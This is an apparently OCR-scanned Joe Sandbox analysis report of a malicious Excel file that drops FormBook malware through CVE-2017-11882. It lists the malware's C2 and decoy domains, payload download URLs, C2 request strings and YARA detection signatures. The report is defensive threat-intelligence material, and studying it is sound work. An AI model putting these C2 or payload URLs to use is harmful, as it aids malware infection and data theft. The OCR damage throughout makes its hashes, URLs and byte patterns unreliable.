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Windows Analysis Report COAU7229898130.xlsx

Overview

General Information

Sample COAU7229898130.xlsx
Name:

Analysis ID: 483666

MD5: 6440075843d5ae..
SHA1L: fb5ea7b3defcOcl..
SHA256: 22¢19360c2a9ee..

VelvetSweatshop
nfos: L JoR
& H VY

Most interesting Screenshot:

F8 6ffce

Process Tree
Bl 00 elel=

= System is w7x64

. EXCEL.EXE (PID: 3064 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 1528 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5:

A87236E214F6D42A65F5DEDAC816AECS)

Detection

MALICIOUS

| EOHE

FormBook
Score: 100
Range: 0-100
Whitelisted: false
Confidence: 100%

Found malware configuration

Snort IDS alert for network traffic (e....
Sigma detected: EQNEDT32.EXE c...
Multi AV Scanner detection for subm...
Yara detected FormBook

Malicious sample detected (through ...
Yara detected AntiVM3

Sigma detected: Droppers Exploiting...
System process connects to networ...
Sigma detected: File Dropped By EQ...
Antivirus detection for URL or domain

Sigma detected: Suspect Svchost A...

@
«Q
>
2
c
=
@
]

. 4@ vbc.exe (PID: 940 cmdline: 'C:\Users\Public\vbc.exe' MD5: 9F2C198407F1A7D058C06CC174817DB6)
. 4@ vbc.exe (PID: 2648 cmdline: C:\Users\Public\vbc.exe MD5: 9F2C198407F1A7D058C06CC174817DB6)
o [ explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

e [ svchost.exe (PID: 2820 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: 54A47F6B5E09A77E61649109C6A08866)
o cmd.exe (PID: 1840 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

= cleanup

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021
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"C2 list": [

"www. southerngiggle.com/imi7/"

1,

"decoy": [
"michaelhavemeyer.com",
"surukuku.com”,
"happyhoneybaby.con",
"carlsbadbeachwear.com”,
"mob1iledepotrd.com”,
"cscclothing.com”,
"absolutalibertas.com”,
"gtof.net",
"zahnspange-billstedt.com”,
"tuzlaekspertiz.net"”,
"card@5pay.site",
"thebuilders24.com”,
"xs-of.com",
"pempekgputra.com”,
"campverano.com”,
"tutorialscorner.net”,
"patconsultant.com”,
"dogloveya.com",
"meatbasedlifestyle.com”,
"agamdesigners.com",
"aashiyanafoundation.com”,
"confidentialbk.com”,
"snowbirdsrus.com",
"lechouba.com”,
"popuality.com”,
"okulekitaplari.com”,
"blackwelldesignco.com”,
"abhayart.com",
"ooftclub.com”,
"optima9.com",
"peurohubapp.com”,
"plucknplace.com”,
"adbarista.com",
"crownfoamus.com”,
"finalformlxp.com",
"somethingnewstudio.com",
"motorcyclejob.asia”,
"hasanmedicalservice.com",
"thvsjwjvy.icu",
"powerlinkme.com",
"sceneinnyc.com",
"onpointonlinemarketing.com”,
"abc-staff.com",
"thinoft.com",
"kamishichang.com”,
"aronexcorp.com”,
"garfld.com”,
"namasteezeindustries.com",
"359326.com",

"be530.com",
"acceptedsolutions.net”,
"tuiseyingxiang.com”,
"thechikspot.com”,
"moneysavingkitchen.com”,
"valueplants.com”,
"casabedar.com”,
"biotechfla.com”,
"weekendclones.com",
"tomrings.com",
"nonamecreative.con”,
"streetracingscanner.com",
"centerforcommonground.com”,
"download-apps.site",
"sungoldhomeliving.com"

Yara Overview

Memory Dumps

Source Rule

00000007.00000002.514291085.0000000000400000.00000 JoeSecurity_FormBook
040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description
00000007.00000002.514291085.0000000000400000.00000 Formbook_1 autogenerated rule
040.00000001.sdmp brought to you by
yara-signator
00000007.00000002.514291085.0000000000400000.00000 Formbook detect Formbook in
040.00000001.sdmp memory

00000007.00000002.513518262.0000000000330000.00000 JoeSecurity_FormBook  Yara detected
040.00020000.sdmp FormBook
00000007.00000002.513518262.0000000000330000.00000 Formbook_1 autogenerated rule
040.00020000.sdmp brought to you by

Unpacked PEs

Source

7.2.vbc.exe.400000.1.raw.unpack

7.2.vbc.exe.400000.1.raw.unpack

7.2.vbc.exe.400000.1.raw.unpack

7.2.vbc.exe.400000.1.unpack

7.2.vbc.exe.400000.1.unpack

Copyright Joe Security LLC 2021

yara-signator

Click to see the 24 entries

Rule Description

JoeSecurity_FormBook  Yara detected
FormBook

Formbook_1 autogenerated rule

brought to you by
yara-signator

Formbook detect Formbook in
memory

JoeSecurity_FormBook Yara detected
FormBook
Formbook_1 autogenerated rule

brought to you by
yara-signator

Click to see the 1 entries

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

e o o o o o

0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e o o o

e o o o

0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 739585 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

.

e o o o

e o o o

0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sglite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

0x77e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x7b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x13895:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x13381:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

=

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Suspect Svchost Activity

Sigma detected: Windows Processes Suspicious Parent Directory

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

:

Exploits:

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

Yara detected FormBook

=

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

Boot Survival:

=

Copyright Joe Security LLC 2021
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Malware Analysis System Evasion:

Yara detected AntiVM3

R

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and  Netv
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effe:
Valid Shared Path Process Masquerading os Security Software Remote Archive Exfiltration Encrypted Eave
Accounts Modules g8 Interception  Injection {g 2 Credential Discovery Services Collected  Over Other Channel Inse:
Dumping Data [ @ Network Netv
Medium Com
Default Exploitation for  Boot or Extra Window Disable or Modify LSASS Process Discovery Remote Data from  Exfiltration Ingress Tool Expl
Accounts Client Logon Memory Tools Memory Desktop Removable Over Transfer Redi
Execution Initialization  Injection Protocol Media Bluetooth Calls
Scripts
Domain At (Linux) Logon Script Logon Script Virtualization/Sandbox  Security Virtualization/Sandbox SMB/Windows Data from Automated Non-Application  Expl
Accounts (Windows)  (Windows) Evasion Account  Evasion Admin Shares Network  Exfiltration Layer Protocol [} Trac
Manager Shared Loce
Drive
Local At (Windows)  Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Application Layer SIM
Accounts (Mac) (Mac) Injection Discovery Component  Capture  Transfer  Protocol Swa
Object Model
Cloud Cron Network Network Logon  Deobfuscate/Decode  LSA File and Directory SSH Keylogging Data Fallback Man
Accounts Logon Script Script Files or Secrets Discovery Transfer Channels Devi
Information Size Limits Com
Replication  Launchd Rc.common Rc.common Obfuscated Files or Cached System Information ~ VNC GUI Input  Exfiltration Multiband Jami
Through Information Domain  Discovery Capture ~ OverC2  Communication Deni
Removable Credentials Channel Serv
Media
External Scheduled Task Startup Startup Items Software DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Used Rog!
Remote Items Packing Remote Capture Over Port Acce
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Extra Window Memory Proc Network Service Shared Credential Exfiltration Application Layer Dow
Compromise Scripting Task/Job Task/Job Injection Filesystem Scanning Webroot API Over Protocol Inse
Interpreter Hooking Symmetric Prot
Encrypted
Non-C2
Protocol
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Behavior Graph

Screenshots

Thumbnails

Behavior Graph

S ’:' Legend:
|:| Process
. Signature
. Created File
EIT‘NED‘“E‘E = 0§ oonce Ay . DNS/IP Info
FELE
ﬂ Is Dropped
.
L]}

5 B

Visual Basic

o
) %
B

H
F

£

bl
-
=
=i

Delphi
Java

—=

&

L@ 2 )

] Is malicious
ENS nteret
5 oo My
Bl wotee By
@D
[}
E=
[- I
@
€]

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright Joe Security LLC 2021

Is Windows Process

Number of created Files

.Net C# or VB.NET

Hide Legend

Number of created Registry Values

C, C++ or other language
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Home

¥ cut
Ea copy v o
- Format Painter BT
Clipboard

Insert

Calibri

Page Layout

Formulas

Data

Review

View

Alignment

COAUT229898130 - Microsoft Excel

Humbe;

=
ﬂ-’l @] Fin -

Format

&2 Clear ~

Editing

M 4 » M| Sheet2 Sheet3

Dn Microsof_t‘
21 Office

This document is
protected

ck Enable Editing fr

Update Links

|([EDZ@m 1w0% =

Ready |
S

=)

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source

COAU7229898130.xlIsx
COAU7229898130.xlIsx

Dropped Files

No Antivirus matches

Unpacked PE Files

Source

7.2.vbc.exe.400000.1.unpack

Domains

No Antivirus matches

URLs

Copyright Joe Security LLC 2021

Detection

36%

34%
Detection Scanner
100% Avira

Scanner Label
Virustotal
ReversingLabs Document-
OLE.Exploit.CVE-
2017-11882
Label Link
TR/Crypt.ZPACK.Gen

Link

Browse

Download

Download File

Page 10 of 33


https://www.virustotal.com/gui/file/22c19360c2a9ee4aaa12439aa1c3ace0ecc3287e0b61481f21619e4bb69f5157/detection/f-22c19360c2a9ee4aaa12439aa1c3ace0ecc3287e0b61481f21619e4bb69f5157-1631667148

Source Detection Scanner Label Link

http:/fwww.thvsjwjvy.icu/imi7/? 0% Avira URL Cloud safe
8pGdYd7=JylIKvNk78hOFd+1TngK+cq4SLeKYXMs9BOMQrcpY54MEXf7zcD8i4BM8h1sFc+7G7xGrw=
=&edrh=onDxljzxvz

http://www.biotechfla.com/imi7/? 0% Avira URL Cloud  safe
8pGdYd7=nnh6Wn4YtMnGcYcsMkPyBnKFILVF5md1d8S2Q13SdHwJLrOdJeCsdNPQR8GZEfRMALPZ
9A==&edrh=onDxljzxvz

http://wellformedweb.org/CommentAPI/ 0% URL Reputation safe
http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe
http:/fwindowsmedia.com/redir/services.asp? WMPFriendly=true 0% URL Reputation safe
http:iitreyresearch.net 0% URL Reputation safe
http:/fjava.sun.com 0% Avira URL Cloud safe
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
www.southerngiggle.com/imi7/ 0% Avira URL Cloud safe
http:/fcomputername/printers/printername/.printer 0% Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.absolutalibertas.com/imi7/? 0% Avira URL Cloud safe

8deYd7=v40PSvG6dthij6H F6SNM8N8NyagVc5G1UDhWfJIc2g0yYxGB1DXDxzdmmmhzDSPz7Mb
==&edrh=onDxljzxvz

http:/fservername/isapibackend.dll 0% Avira URL Cloud  safe

http://https://www.absolutalibertas.com/imi7/? 0% Avira URL Cloud  safe
8pGdYd7=v40PSvG6dxhfiDW6HF6SNM8N8NyagVc5G1UDhWfJc2g0yYxGB1DXD

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

biotechfla.com 34.102.136.180 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:/fwww.biotechfla.com/imi7/? false e Avira URL Cloud: safe unknown

8pGdYd7=nnh6Wn4YtMnGcYcsMkPyBnKFILVF5md1d8S2Q13SdHwJLrOdJeCsdNPQR8GZ
EfRMALPZ9A==&edrh=onDxljzxvz

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

Copyright Joe Security LLC 2021 Page 11 of 33



P Domain

34.102.136.180

biotechfla.com

Country Flag ASN
United States S 15169 GOOGLEUS false

ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type
11:12:43
11:12:48
11:13:09
11:13:58

Copyright Joe Security LLC 2021

API Interceptor
API Interceptor
API Interceptor
API Interceptor

33.0.0 White Diamond

483666

15.09.2021

11:12:10

CloudBasic

Oh 10m 24s

false

light

COAU7229898130.xIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

11

o o o N

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLSX@9/27 @6/5
Failed

e Successful, ratio: 20.4% (good quality ratio 19.7%)
e Quality average: 70.6%
e Quality standard deviation: 28.2%

e Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer
e Attach to Office via COM
e Scroll down
e Close Viewer
Show All
Description

89x Sleep call for process: EQNEDT32.EXE modified
61x Sleep call for process: vbc.exe modified
230x Sleep call for process: svchost.exe modified

1x Sleep call for process: explorer.exe modified

Page 12 of 33



Joe Sandbox View | Context

IPs

Match
103.133.106.199

192.0.78.25

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

103.133.1
06.199/msn
Ivbc.exe

103.133.1
06.199/sun
Ivbc.exe

103.133.1
06.199/reg
asm/vbc.exe

103.133.1
06.199/hkc
md/kernel.exe

103.133.1
06.199/ibm
Ivbc.exe

103.133.1
06.199/hsb
clvbc.exe

103.133.1
06.199/swi
ss/vbc.exe

103.133.1
06.199/boi
Ivbc.exe

103.133.1
06.199/pnb
Ivbc.exe

103.133.1
06.199/ici
cilvbc.exe

www.welco
metoeveryw
here.com/c28h/?
y480=
DiQORJdZZo
506Njv3t8J
izC/3RSAOR
r+JzU/NgYr
ClhFedoBYi
/d4/NnMzE/
b507UBHa&B
48dJ=8pKPZleh

www.adven
turesofdat
inginnyc.c
om/b6ad/?x
v=Ttx0Y4G8
OpL&d4GTW8
EP=fgCHNvW
Ohrp4ynbMj
NwBI+blUwe
yUIkFPVREOQ
gMjc6TvoWe
iB6YEXZEBQ
2h9bXazG4x
MCQ==

www.andre
asvalor.co
m/aéhg/?B6
AhIF=mxotn
puOCH1HRNy
&4hk0=4002
tlysqzG41f
LrhiRKTQgl
FN2WNvmjT7
4ZiQtREUOb
Zm9L8CuUbT
MNg6NpTGJI
VOPS
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https://view.joesandbox.com/analysis/379165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid
https://view.joesandbox.com/analysis/375904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375904/html/none?idtype=webid
https://view.joesandbox.com/analysis/375547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375547/html/none?idtype=webid
https://view.joesandbox.com/analysis/374430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374430/html/none?idtype=webid
https://view.joesandbox.com/analysis/373748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373748/html/none?idtype=webid
https://view.joesandbox.com/analysis/373237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373237/html/none?idtype=webid
https://view.joesandbox.com/analysis/372708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372708/html/none?idtype=webid
https://view.joesandbox.com/analysis/371725/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/371725/html/none?idtype=webid
https://view.joesandbox.com/analysis/370770/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370770/html/none?idtype=webid
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid
https://view.joesandbox.com/analysis/377839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377839/html/none?idtype=webid
https://view.joesandbox.com/analysis/374492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374492/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

* www.itown
fwl.com/imm8/?
q6A=yR
TF7MMn5725
JIYYQM/Tn7
VXsUXm/ePo
GGHduJahCT
f6490Pd5ZY
XrwX8TsDBJ
awlOaWw&UrQ
L=9r5Hcxc0
IHhLQbV

* www.money
savingkitc
hen.com/imi7/?
OrNdUr
th=ze3UBOh
IJHW3rkbdA
nx+iTSFJGq
a/nSyxy/Mw
JAFXHIILOM
ol3qyLh6s/
Wc+lfGpa0Q
a&eFN=9rUT
mdSpY8

° www.sueri
ckard.com/t5n8/?
0jqTkIvO=95FRA
i8hccYONe4
p/NBAJQHqW
E5baZpvsta
IVeT6uGkr+
TksFmHXQ9c
9qdwWd/C6L6
JBArw==&Bv
=E8lod6D

* www.itown
fwl.com/imm8/?
t2JxC=
MnHT2BEh_&
e0=yRTF7MM
n5725J/YYQ
M/Tn7VXsUX
m/ePoGGHdu
JahCTf6490
Pd5ZYXrwX8
TsDBJawlOaW

e www.welco
metoeveryw
here.com/c28h/?
bH2xj=-
ZfDw280
&4hu0Ud=Di
QORJdZZ050
6Njv3t8Jiz
C/3RsAORTr+
JzUVgYrCl
hFedoBYi/d
4/NnMwoFY4
YAX2mLetQ7
Qg==

. WwWw.spiri
tunbrokent
heblog.net
/faOp/?6lo
x=4hSLtNzX
rd0Pc&2d04
=z+cl/Imav
1sKhJ1XLTj
icrdE8/wGI
behbjm7G/w
H/UIOt3WQk
rD4vvjwYxL
IVTOFiphj

o www.briha
stie.com/gm9w/?
kZR=S
BgXj&5j=Ra
VvOhUNFThSF
npPeOwIns3
vygYXrfARB
gHPndCVZsv
SSpluv/b9A
yJiv3E8bfY
3QDoiB
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https://view.joesandbox.com/analysis/374330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374330/html/none?idtype=webid
https://view.joesandbox.com/analysis/374058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374058/html/none?idtype=webid
https://view.joesandbox.com/analysis/373913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373913/html/none?idtype=webid
https://view.joesandbox.com/analysis/372437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372437/html/none?idtype=webid
https://view.joesandbox.com/analysis/370490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370490/html/none?idtype=webid
https://view.joesandbox.com/analysis/367439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367439/html/none?idtype=webid
https://view.joesandbox.com/analysis/366325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366325/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

* www.gunce
lekspres.c
om/odse/?W
64D_=CPuxu
IrAXXxx2qn
XL+3z0ufOe
Dt8disyANK
WZnBdz3Bhb
IBFz6bzJPy
kPx1eOsfB7
AqffégsmA=
=&cVkD=-ZV
dOf9pC8tdzZJ

* www.unica
fegraz.com
Ihisp/?utU
PMn=mT-DZ&
YR=JQD+WvZ
JHWUN60zPR
44AvaKhDyK
gWnzZOfwib
QedJmhujys
VPt9ayqgWON
CAwWwge5I8K

o www.walki
ngodslight
.com/h85m/?
9r5pzR=fs
OIUBYE7Y4K
p799QbeQwZ
CTO9ficUIU
5z080A7Liz
0C+0gb2wZ9
zbSKNwudxT
reRkNs&06z
=zHbXunW8s
HzXTf

o www.mansm
oon.com/ieqo/?
doDp1L
T=ETh6YPBa
RA9pkAtMKX
T35INOOLTN
fM2UpDCj11
CjouSdzSMB
MvZJsSGoOt
FhBbgUmfAp
hnrAqw==8&5
j=X2m4

e www.abbyr
osemusic.c
om/ieqo/?k
F=IHiHnI1x
&619t=tqFE
INBjsXkIDt
rDMgs7q68w
eiWEu1OhsD
LUZdQmPDRY
CZWRKP8V6xX
WOdTS3ITDbU
BarR

o www.windy
pinesfarm.
com/uo4x/?
WHRHMx=SrQ
D&i6Ad6V=P
A40IrFZ1/
rORNyc2w/q
GMIQjHVjI+
prvIXJObEg
rXCUq91Vki
2ja2H+FSqO
20DPHhW

e www.miche
Idrake.com
Ip2io/?y0D
T=8puD_pzx
CVk&inbXu=
d2NgngRXaD
3590PSrSex
KrGlILIrAeX
dOmpzt/HUK
THCMsqjNpH
qiPppP981n
7+M4uf60sw==
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https://view.joesandbox.com/analysis/365317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365317/html/none?idtype=webid
https://view.joesandbox.com/analysis/365144/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365144/html/none?idtype=webid
https://view.joesandbox.com/analysis/363295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/363295/html/none?idtype=webid
https://view.joesandbox.com/analysis/362308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/362308/html/none?idtype=webid
https://view.joesandbox.com/analysis/361556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/361556/html/none?idtype=webid
https://view.joesandbox.com/analysis/361005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/361005/html/none?idtype=webid
https://view.joesandbox.com/analysis/360596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/360596/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e www.shive
ringcactus
.net/cred/?
IP=7+hRd8
m1vP9705Du
bQyJa70S+X
2NiXrCwgny
TwU2qtlqd4
obghWDAVBuU
ao2LAeallu
pR&9roH=-Z
Wh127

Get hash malicious Browse e www.erleb
nistage-to
mcat.com/pagi/?
n2JowW
=620Ky2D8v
IUi3BWgN7G
Rotk3LU14J
YVZIFFW8Qk
d5gKeHrT6a
esSNIYLSbP
QMCnJZQLA&
TF=Kph8

Get hash malicious Browse e www.miche
Idrake.com
Ip2io/?dzu
D7VXH=d2Ng
ngRXaD3590
PSrSexKrGl
LIrAeXdOmp
Zt/HUKTHCM
sqjNpHqiPp
pP981n7+M4
uf60sw==&b
zr8U=6IxL-0XX

Domains

Match Associated Sample Name / URL SHA 256 Detection Link Context
Get hash malicious Browse e 47.91.170.222

www.thvsjwjvy.icu

ASN
Match Associated Sample Name / URL SHA 256 Detection Link Context
VNPT-AS- Get hash malicious Browse e 103.147.18
VNVIETNAMPOSTSANDTELECOMMU 5.192
NICATIONSGROUPVN Get hash malicious Browse e 103.147.18
5.192
Get hash malicious Browse e 103.133.10
6.199
Get hash malicious Browse e 103.133.10
8.160
Get hash malicious Browse e 103.147.18
5.192
Get hash malicious Browse e 103.133.10
6.199
Get hash malicious Browse e 103.147.18
5.192
Get hash malicious Browse e 103.133.10
6.199
Get hash malicious Browse e 103.140.25
0.132
Get hash malicious Browse e 103.147.18
4.211
Get hash malicious Browse e 103.133.10
6.199
Get hash malicious Browse e 103.133.10
6.199

Copyright Joe Security LLC 2021 Page 16 of 33


https://view.joesandbox.com/analysis/359567/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359567/html/none?idtype=webid
https://view.joesandbox.com/analysis/359490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359490/html/none?idtype=webid
https://view.joesandbox.com/analysis/359239/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359239/html/none?idtype=webid
https://view.joesandbox.com/analysis/374058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374058/html/none?idtype=webid
https://view.joesandbox.com/analysis/379438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379438/html/none?idtype=webid
https://view.joesandbox.com/analysis/379389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379389/html/none?idtype=webid
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid
https://view.joesandbox.com/analysis/379162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379162/html/none?idtype=webid
https://view.joesandbox.com/analysis/378799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378799/html/none?idtype=webid
https://view.joesandbox.com/analysis/378789/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378789/html/none?idtype=webid
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid
https://view.joesandbox.com/analysis/377840/html/none?idtype=webid#static
